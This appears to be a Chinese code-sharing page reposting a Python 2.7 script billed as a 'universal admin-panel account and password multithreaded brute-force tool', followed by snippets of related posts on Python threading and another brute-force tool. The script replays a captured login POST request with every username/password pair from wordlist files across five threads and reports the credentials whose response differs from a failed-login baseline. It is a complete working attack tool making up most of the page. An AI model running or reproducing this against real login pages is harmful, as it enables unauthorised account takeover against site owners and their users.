1. 程式人生 > >python版通用後臺賬號密碼多執行緒爆破必殺器

python版通用後臺賬號密碼多執行緒爆破必殺器

#! /usr/bin/env python2.7
#coding=utf-8
#通用後臺賬號密碼多執行緒爆破必殺器


import re
import os
import sys
import gzip
import Queue
import getopt
import msvcrt
import urllib
import httplib
import hashlib
import urllib2
import StringIO
import threading


class hackcrack(threading.Thread):
    def __init__(self,ooldmd5,uuu,ppp):
        threading.Thread.__init__(self)
        self.ooldmd5 = ooldmd5
        self.uuu = uuu
        self.ppp = ppp
    def run(self):
        while 1:
            if queue.empty() == True:
                break
            self.crack(self.ooldmd5,self.uuu,self.ppp)
    def crack(self,ooldmd5,uuu,ppp):
        data = queue.get()
        pathes = path()
        headerses = headers()
        arg = host()
        m = re.compile('%s=(.*?)&' % uuu)
        n = re.compile('%s=(.*?)&' % ppp)     
        us = m.findall(data)
        pw = n.findall(data)   
        conn = httplib.HTTPConnection(arg)
        try:
            conn.request('POST',pathes,data,headerses)
            httpres = conn.getresponse()
            
            if ('content-encoding', 'gzip') in httpres.getheaders():
                compressedstream = StringIO.StringIO(httpres.read())  
                gzipper = gzip.GzipFile(fileobj=compressedstream)     
                ccode = gzipper.read()
            else:
                ccode = httpres.read()
            if ccode:
                newmd5 = hashlib.md5(ccode).hexdigest()
            else:
                newmd5 = hashlib.md5('mdbhack').hexdigest()
            if ooldmd5 != newmd5:
                print '\n<info> http://%s' % arg
                print '<info> http://%s%s' % (arg,pathes)
                print '<info> I Find It -------->username:%s password:%s<--------' % (us[0],pw[0])
                print ccode
                os._exit(1)
            else:
                print '[%s] hacking -------->username:%s password:%s' % (queue.qsize(),us[0],pw[0])
                #print ccode
        except:
            pass        

class ThreadGetKey(threading.Thread):
    def run(self):
        try:           
            chr = msvcrt.getch()
            if chr == 'q':
                print "stopped by your action ( q )"
                os._exit(1)
        except:
            os._exit(1)



def info():
    print '''
     ,--^----------,--------,-----,-------^--,
     | |||||||||   `--------'     |          O ..
     `+---------------------------^----------|
       `\_,-------, 
[email protected]
mdbhack#QQ.com______| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( For example: `------' crack.py -u username -p password ''' def path(): f = open('headers.txt','r') for p in f: if 'POST' in p: path = p.split(' ')[1].strip() #print path return path def headers(): headers = {} hheader = ['Host','User-Agent','Accept','Accept-Language','Accept-Encoding','Referer','Cookie','Connection','Content-Type'] f = open('headers.txt','r') for p in f: for hh in hheader: if hh in p: headers[hh] = p.split(':',1)[1].strip() return headers def host(): f = open('headers.txt','r') for p in f: if 'Host' in p: arg = p.split(':')[1].strip() #print arg return arg def testcrack(username,password): pathes = path() arg = host() headerses = headers() getusername = username getpassword = password f = open('headers.txt','r') for xxx in f: if '&' in xxx and '=' in xxx: getdata = xxx.strip() getpw = re.compile('%s=(.*?)&' % password) getusern = re.compile('%s=(.*?)&' % username) bb = getpw.sub('%s=%s&' % (password,'mdbhackcom'),getdata) data = getusern.sub('%s=%s&' % (username,'mdbhack'),bb) conn = httplib.HTTPConnection(arg) conn.request('POST',pathes,data,headerses) httpres = conn.getresponse() if ('content-encoding', 'gzip') in httpres.getheaders(): compressedstream = StringIO.StringIO(httpres.read()) gzipper = gzip.GzipFile(fileobj=compressedstream) code = gzipper.read() else: code = httpres.read() if code: oldmd5 = hashlib.md5(code).hexdigest() else: oldmd5 = hashlib.md5('mdbhack').hexdigest() return oldmd5 def crack(username,password): global queue,ooldmd5 threads = [] line = 5 queue = Queue.Queue() pathes = path() arg = host() ooldmd5 = testcrack(username,password) headerses = headers() f = open('headers.txt','r') for xxx in f: if '&' in xxx and '=' in xxx: getdata = xxx.strip() for us in open('username.txt','r'): print '<info> Scan Username is %s ' % us.strip() for pw in open('password.txt','r'): getpw = re.compile('%s=(.*?)&' % password) getusern = re.compile('%s=(.*?)&' % username) bb = getpw.sub('%s=%s&' % (password.strip(),urllib2.quote(pw.strip())),getdata) data = getusern.sub('%s=%s&' % (username,urllib2.quote(us.strip())),bb) queue.put(data) shouhu = ThreadGetKey() shouhu.setDaemon(True) shouhu.start() for x in range(line): y = hackcrack(ooldmd5,username,password) y.start() threads.append(y) for x in threads: x.join() if __name__ == '__main__': if len(sys.argv) == 5: f = open('headers.txt','r') for xxx in f: if '&' in xxx and '=' in xxx: getdata = xxx.strip() try: opts, args = getopt.getopt (sys.argv[1:], "u:p:")#Assigning Parameters except: info() sys.exit(1) for opt,arg in opts:#Traversal if opt == '-u': if arg.strip() in getdata: username = arg.strip() else: print '\nusername table %s is Wrong' % arg.strip() username = '' elif opt == '-p': if arg.strip() in getdata: password = arg.strip() else: print 'password table %s is Wrong' % arg.strip() password = '' else: info() sys.exit(1) if username and password: crack(username,password) else: sys.exit(1) else: info() sys.exit(1)

相關推薦

python通用後臺賬號密碼執行爆破

#! /usr/bin/env python2.7 #coding=utf-8 #通用後臺賬號密碼多執行緒爆破必殺器 import re import os import sys import gzip import Queue import getopt import

Python學習筆記:threading.Condition執行排程

#!/usr/bin/python #coding:utf-8 #引入執行緒和時間模組 import threading,time   #引入執行緒條件變數 cond = threading.Condition() def run():    

Python進階(二十六)-執行實現同步的四種方式

分享一下我的偶像大神的人工智慧教程!http://blog.csdn.net/jiangjunshow 也歡迎轉載我的文章,轉載請註明出處 https://blog.csdn.net/mm2zzyzzp Python進階(二十六)-多執行緒實現同步的四種方式

基於Python執行爆破小工具!誰用誰就知道它有屌了!

0×0 背景   進群:548377875  就可以獲取數十套小編精心準備的PDF以及零基礎到進階的教程! Patator是出於對使用Hydra,Medusa,Ncrack,Metasploit模組和Nmap NSE指令碼進行密碼猜測攻擊而感到失望後, 選擇了不

Python高階程式設計(四)執行

Python 多執行緒 多執行緒類似於同時執行多個不同程式,多執行緒執行有如下優點: 使用執行緒可以把佔據長時間的程式中的任務放到後臺去處理。 使用者介面可以更加吸引人,這樣比如使用者點選了一個按鈕去觸發某些事件的處理,可以彈出一個進度條來顯示處理的進度 程式的執

使用python的requests、xpath和執行爬取糗事百科的段子

 程式碼主要使用的python中的requests模組、xpath功能和threading多執行緒爬取了糗事百科中段子的內容、圖片和閱讀數、段子作者的性別,年齡和頭像。 # author: aspiring import requests from lxml import

Python BeautifulSoup寫的一份執行圖片抓取的指令碼

最近一個做設計的妹子需要從一個素材的網站(https://www.goodfon.su)下載各種圖片原圖作為設計的素材,但是苦於境外網站,而且只能單張下載,而且單張圖片需要兩個路徑才能到達原圖的下載地址。 幾年沒寫過Python的我決定從操就業幫她寫一份批量下載的指令碼。由於是國外網站

Python TCP 客戶端(配合socket執行伺服器)

''' Python TCP 客戶端(配合socket多執行緒伺服器) by 鄭瑞國 1、建立網路套接字c 2、建立網路連線 3、收發資訊 ''' import socket c = socket.socket() #1、建立網路套接字c c.connect(('127.

【codejava】第八:第十四章 執行[001] [20180105]

    在java程式設計語言中,每一個執行緒有一個優先順序。預設情況下,一個執行緒繼承它的父執行緒的優先順序。可以用setPriority方法提高或降低任何一個執行緒的優先順序。可以將優先順序設定為在MIN_PRIORITY(在Thead中定義為1)與MAX_PRIORITY(定義為10)之間的任何值。NO

python 為什麼io密集要用執行

【多執行緒為什麼能提高效率(I/O密集):一個執行緒可以操作很多內容--獲得IO資源---加工IO資源,如果使用多執行緒去操作一塊io資源,雖然有gil,但是在很短的時間內,io資源能分給很多執行緒,然後剩餘的io資源的加工操作,多執行緒幾乎是並行的,只不過是io資源獲取這塊

Python cpu與cpu上的執行的區別講解

你對Python 多執行緒有所瞭解的話。那麼你對python 多執行緒在單cpu意義上的多執行緒與多cpu上的多執行緒有著本質的區別。Python多執行緒是單cpu意義上的多執行緒,它和多cpu上的多執行緒有著本質的區別。單cpu多執行緒:併發多cpu多執行緒:並行內部包含併發        在Python

python學習之使用UDP和執行實現一個群聊天室

        在學習UDP的時候,想著試一試能不能搞一個命令視窗的udp聊天工具,因為udp的廣播機制,所以就想著乾脆直接搞一個群聊的吧。不過最後搞來搞去,命令視窗下使用多執行緒,沒有做出什麼好看整潔的“圖形化”介面,湊合著用吧,畢竟是一個練習的學習型的小玩意。有時間把列印

python進階寶典16- 執行與外部呼叫

### 主要包含兩部分:多執行緒 及 外部程式呼叫所有的說明和註釋都包含在程式碼註釋中。### 主要包含兩部分:多執行緒 及 外部程式呼叫 ## 多執行緒建立 # 1.使用threading模組,呼叫threading.Thread()生成Thread物件 # 2.在程式

python進階(9)執行

# 什麼是執行緒? 執行緒也叫`輕量級程序`,是作業系統能夠進行`運算排程`的`最小`單位,它被包涵在程序之中,是程序中的實際運作單位。執行緒自己不擁有`系統資源`,只擁有一點兒在執行中必不可少的資源,但它可與同屬一個程序的其他執行緒共享程序所擁有的全部資源。一個執行緒可以建立和撤銷另一個執行緒,同一個程序中

《Java》Java“定時執行”實際應用——定時配合執行

一、任務目標     完成一個java application應用程式,此應用程式公共類有一個double型類屬性(變數)x,初始值為0;在應用程式主程序中新開兩個執行緒,這兩個執行緒都進行死迴圈;第1個執行緒每隔300ms啟用一次,令類屬性x自加1.0並輸出顯示;第2個執行緒每隔400

Java執行18:定時Timer

前言          定時/計劃功能在Java應用的各個領域都使用得非常多,比方說Web層面,可能一個專案要定時採集話單、定時更新某些快取、定時清理一批不活躍使用者等等。定時計劃任務功能在Java中主要使用的就是Timer物件,它在內部使用多執

Android Studio:服務與執行--簡單音樂播放

一、 實驗題目   服務與多執行緒--簡單音樂播放器 【目的】 1. 學會使用 MediaPlayer; 2. 學會簡單的多執行緒程式設計,使用 Handle 更新 UI; 3. 學會使用 Service 進行後臺工作; 4. 學會使用 Service 與 Activit

python3+PyQt5 實現支援執行的頁面索引應用程式

本文通過Python3+pyqt5實現了python Qt GUI 快速程式設計的19章的頁面索引器應用程式例子。 /home/yrd/eric_workspace/chap19/walker_ans.py #!/usr/bin/env python3

python執行之Lock生產者消費者模式

python多執行緒之lock版生產者消費者模式,謹以此文記之。 python多執行緒技術,仁者見仁智者見智,有道其雞肋,有道其乖張。暫且不去評論。本文僅述其淺淺的應用罷了。如下見祥例說明。 本文利用多執行緒技術,模擬在python爬蟲環境中的應用,分為生產者部分和消費者部分,也就是將一

python網路聊天執行

在之前的一篇文章(python網路程式設計-udp)中實現了一個簡單的udp聊天器,只能在單執行緒下進行收發資料,在學習完多執行緒之後,實現一個能同時收發資料的udp聊天器。 說明: 編寫一個有2個執行緒的程式 執行緒1用來接收資料然後顯示 執行緒2用來檢測鍵盤資料然後通過udp傳送資料